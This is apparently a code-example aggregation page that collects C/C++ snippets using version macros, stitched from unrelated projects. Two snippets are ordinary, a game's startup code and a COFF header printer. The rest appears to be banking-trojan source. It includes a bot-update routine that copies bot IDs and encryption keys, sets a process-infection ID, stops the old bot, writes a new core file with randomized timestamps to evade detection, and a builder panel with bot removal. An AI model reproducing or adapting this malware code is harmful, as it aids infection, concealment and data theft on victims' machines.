void InitProgramInfo(char *argv0,
		     char *userdata_subdir, char *userdata_subdir_unix,
		     char *program_title, char *window_title, char *icon_title,
		     char *x11_icon_filename, char *x11_iconmask_filename,
		     char *sdl_icon_filename, char *msdos_cursor_filename,
		     char *cookie_prefix, char *filename_prefix,
		     int program_version)
{
  program.command_basepath = getBasePath(argv0);
  program.command_basename = getBaseName(argv0);

  program.userdata_subdir = userdata_subdir;
  program.userdata_subdir_unix = userdata_subdir_unix;
  program.userdata_path = getUserGameDataDir();

  program.program_title = program_title;
  program.window_title = window_title;
  program.icon_title = icon_title;

  program.x11_icon_filename = x11_icon_filename;
  program.x11_iconmask_filename = x11_iconmask_filename;
  program.sdl_icon_filename = sdl_icon_filename;
  program.msdos_cursor_filename = msdos_cursor_filename;

  program.cookie_prefix = cookie_prefix;
  program.filename_prefix = filename_prefix;

  program.version_major = VERSION_MAJOR(program_version);
  program.version_minor = VERSION_MINOR(program_version);
  program.version_patch = VERSION_PATCH(program_version);

  program.error_filename = getErrorFilename(ERROR_BASENAME);
  program.error_file = stderr;
}
Beispiel #2
0
void CoffLoader::PrintOptionHeader(OptionHeader_t *OptHdr)
{
  printf("Option Header\n");
  printf("------------------------------------------\n\n");

  printf("Magic:              0x%04X\n", OptHdr->Magic);
  printf("Linker Major Ver:   0x%02X\n", VERSION_MAJOR(OptHdr->LinkVersion));
  printf("Linker Minor Ver:   0x%02X\n", VERSION_MINOR(OptHdr->LinkVersion));
  printf("Code Size:          0x%08lX\n", OptHdr->CodeSize);
  printf("Data Size:          0x%08lX\n", OptHdr->DataSize);
  printf("BSS Size:           0x%08lX\n", OptHdr->BssSize);
  printf("Entry:              0x%08lX\n", OptHdr->Entry);
  printf("Code Base:          0x%08lX\n", OptHdr->CodeBase);
  printf("Data Base:          0x%08lX\n", OptHdr->DataBase);
  printf("\n");
}
Beispiel #3
0
/*
  Получение состояние бота.

  IN hwnd - хэндл вкладки.
*/
static void refreshBotStatus(HWND hwnd)
{
    BotStatus::VER1 *bs;
    bool ok = getBotStatus(hwnd, &bs);

    if(ok)
    {
        LPWSTR buf = NULL;
        Str::_sprintfExW(&buf, Languages::get(Languages::tool_info_bot_status),
                         VERSION_MAJOR(bs->version), VERSION_MINOR(bs->version), VERSION_SUBMINOR(bs->version), VERSION_BUILD(bs->version),
                         bs->botnet[0] == 0 ? Languages::get(Languages::tool_info_bot_default_botnet) : bs->botnet,
                         bs->userPaths.coreFile[0] == 0 ? L"-" : bs->userPaths.coreFile);

        CWA(user32, SetDlgItemTextW)(hwnd, IDC_INFO_BOT_INFO, buf);
        Mem::free(buf);
        CWA(kernel32, VirtualFree)(bs, 0, MEM_RELEASE);
    }
    else CWA(user32, SetDlgItemTextW)(hwnd, IDC_INFO_BOT_INFO, Languages::get(Languages::tool_info_bot_status_na));

    CWA(user32, EnableWindow)(CWA(user32, GetDlgItem)(hwnd, IDC_INFO_BOT_REMOVE), ok);
}
Beispiel #4
0
bool CoreInstall::_update(BotStatus::VER1 *bs, const LPWSTR pathHome, LPWSTR coreFile, bool force)
{
  bool ok = false;  

  //Проверяем основные условия.
  if(bs->structSize == sizeof(BotStatus::VER1) && ((force == true && bs->version <= BO_CLIENT_VERSION) || bs->version < BO_CLIENT_VERSION))
  {
    WDEBUG4(WDDT_INFO, "Updating existing bot %u.%u.%u.%u to current version.", VERSION_MAJOR(bs->version), VERSION_MINOR(bs->version), VERSION_SUBMINOR(bs->version), VERSION_BUILD(bs->version));
    
    //Заполняем PESETTINGS.
    PESETTINGS pes;
    Mem::_zero(&pes, sizeof(PESETTINGS));
    {
      Mem::_copy(pes.compId,  bs->compId,  sizeof(pes.compId));
      Mem::_copy(&pes.guid,   &bs->guid,   sizeof(GUID));
      Mem::_copy(&pes.rc4Key, &bs->rc4Key, sizeof(Crypt::RC4KEY));

      pes.size = sizeof(PESETTINGS);
      WDEBUG5(WDDT_INFO, "Current OS guid {%08X-%04X-%04X-%08X%08X}.", pes.guid.Data1, pes.guid.Data2, pes.guid.Data3, *((LPDWORD)&pes.guid.Data4[0]), *((LPDWORD)&pes.guid.Data4[4]));

      Str::_unicodeToAnsi(bs->userPaths.coreFile,         -1, pes.userPaths.coreFile,         sizeof(pes.userPaths.coreFile) / sizeof(char));
      Str::_unicodeToAnsi(bs->userPaths.reportFile,       -1, pes.userPaths.reportFile,       sizeof(pes.userPaths.reportFile) / sizeof(char));
      Str::_unicodeToAnsi(bs->userPaths.regKey,           -1, pes.userPaths.regKey,           sizeof(pes.userPaths.regKey) / sizeof(char));
      Str::_unicodeToAnsi(bs->userPaths.regDynamicConfig, -1, pes.userPaths.regDynamicConfig, CORE_REGISTRY_VALUE_BUFFER_SIZE);
      Str::_unicodeToAnsi(bs->userPaths.regLocalConfig,   -1, pes.userPaths.regLocalConfig,   CORE_REGISTRY_VALUE_BUFFER_SIZE);
      Str::_unicodeToAnsi(bs->userPaths.regLocalSettings, -1, pes.userPaths.regLocalSettings, CORE_REGISTRY_VALUE_BUFFER_SIZE);

      //Случайно число для заражения процессов.
      pes.processInfecionId = MAKELONG(Crypt::mtRandRange(0x1, 0xFFFF), Crypt::mtRandRange(0x1, 0xFFFF));
      
      //XOR ключ для хранения отчетов.
      pes.storageArrayKey = bs->storageArrayKey;
      
      WDEBUG6(WDDT_INFO, "pes.userPaths.coreFile=[%S], pes.userPaths.reportFile=[%S], pes.userPaths.regKey=[%S], pes.userPaths.regDynamicConfig=[%S], pes.userPaths.regLocalConfig=[%S], pes.userPaths.regLocalSettings=[%S]",
              pes.userPaths.coreFile, pes.userPaths.reportFile, pes.userPaths.regKey, pes.userPaths.regDynamicConfig, pes.userPaths.regLocalConfig, pes.userPaths.regLocalSettings);
    }

    //Шифруем
    {
      BASECONFIG baseConfig;
      Core::getBaseConfig(&baseConfig);

      Crypt::RC4KEY rc4k;
      Mem::_copy(&rc4k, &baseConfig.baseKey, sizeof(Crypt::RC4KEY));
      Crypt::_rc4(&pes, sizeof(PESETTINGS), &rc4k);
    }
    
    //Останавливаем запущеные сервисы.
    if(bs->stopServices != NULL)
    {
      WDEBUG0(WDDT_INFO, "Stopping old bot...");
      bs->stopServices(NULL);
      WDEBUG0(WDDT_INFO, "Old bot stopped!");
    }
    
    //Генерируем копию файла.
    if(Fs::_pathCombine(coreFile, pathHome, bs->userPaths.coreFile) && savePeFile(&pes, coreFile, true))
    {
      //Изменяем время файлов.
      FILETIME fileTimeTemplate;
      if(Fs::_getFileTime(true, pathHome, &fileTimeTemplate, NULL, NULL))Fs::_setRandomFileTime(Time::_fileTimeToTime(&fileTimeTemplate), FILETIME_GENERATOR_RESERVED_SECONDS, coreFile, 1);

      //Финал.
      Mem::_copy(&coreData.peSettings, &pes, sizeof(PESETTINGS));
      ok = true;
    }
    WDEBUG1(WDDT_INFO, "Updating finished with code %u.", ok);
    Mem::_zero(&pes, sizeof(PESETTINGS)); //На всякий случай.
  }
# if(BO_DEBUG > 0)
  else WDEBUG4(WDDT_WARNING, "Existing bot %u.%u.%u.%u not need update.", VERSION_MAJOR(bs->version), VERSION_MINOR(bs->version), VERSION_SUBMINOR(bs->version), VERSION_BUILD(bs->version));
# endif

  return ok;
}
Beispiel #5
0
void Core::showLogo(void)
{
  Console::writeFormatW(lng_logo, VERSION_MAJOR(BO_CLIENT_VERSION), VERSION_MINOR(BO_CLIENT_VERSION), VERSION_SUBMINOR(BO_CLIENT_VERSION), VERSION_BUILD(BO_CLIENT_VERSION));
}
Beispiel #6
0
/*
  Обработка вкладки.
*/
INT_PTR CALLBACK toolInformationProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    //Хэндл поток удаления бота.
    static HANDLE subThread;

    switch(msg)
    {
    case WM_INITDIALOG:
    {
        CWA(user32, SetDlgItemTextW)(hwnd, IDC_INFO_VERSION_TITLE, Languages::get(Languages::tool_info_version_titile));
        CWA(user32, SetDlgItemTextW)(hwnd, IDC_INFO_BOT_TITLE, Languages::get(Languages::tool_info_bot_title));
        CWA(user32, SetDlgItemTextW)(hwnd, IDC_INFO_BOT_KEY_TITLE, Languages::get(Languages::tool_info_bot_key_title));
        CWA(user32, SetDlgItemTextW)(hwnd, IDC_INFO_BOT_INFO_TITLE, Languages::get(Languages::tool_info_bot_info_title));
        CWA(user32, SetDlgItemTextW)(hwnd, IDC_INFO_BOT_REFRESH, Languages::get(Languages::tool_info_bot_refresh));
        CWA(user32, SetDlgItemTextW)(hwnd, IDC_INFO_BOT_REMOVE, Languages::get(Languages::tool_info_bot_remove));
        CWA(user32, SendDlgItemMessageW)(hwnd, IDC_INFO_BOT_KEY, EM_LIMITTEXT, 1024, 0);

        {
            WCHAR buf[1024];
            LPSTR sign = BO_SIGNATURE;
            Str::_sprintfW(buf, sizeof(buf) / sizeof(WCHAR), Languages::get(Languages::tool_info_version),
                           VERSION_MAJOR(BO_CLIENT_VERSION), VERSION_MINOR(BO_CLIENT_VERSION), VERSION_SUBMINOR(BO_CLIENT_VERSION), VERSION_BUILD(BO_CLIENT_VERSION), BO_BUILDTIME, *sign == 0 ? "-" : sign);
            CWA(user32, SetDlgItemTextW)(hwnd, IDC_INFO_VERSION, buf);
        }

        refreshBotStatus(hwnd);
        subThread = NULL;
        break;
    }

    case WM_CANCLOSE:
    {
        closeThreadIfFinsinhed(&subThread);
        CWA(user32, SetWindowLongW)(hwnd, DWL_MSGRESULT, subThread == NULL ? true : false);
        break;
    }

    case WM_COMMAND:
    {
        switch(LOWORD(wParam))
        {
        case IDC_INFO_BOT_REFRESH:
        {
            closeThreadIfFinsinhed(&subThread);
            if(subThread == NULL)refreshBotStatus(hwnd);
            break;
        }

        case IDC_INFO_BOT_REMOVE:
        {
            closeThreadIfFinsinhed(&subThread);
            if(subThread == NULL)subThread = CWA(kernel32, CreateThread)(NULL, 0, removeBot, hwnd, 0, NULL);
            break;
        }

        default:
            return FALSE;
        }
        break;
    }

    default:
        return FALSE;
    }

    return TRUE;
}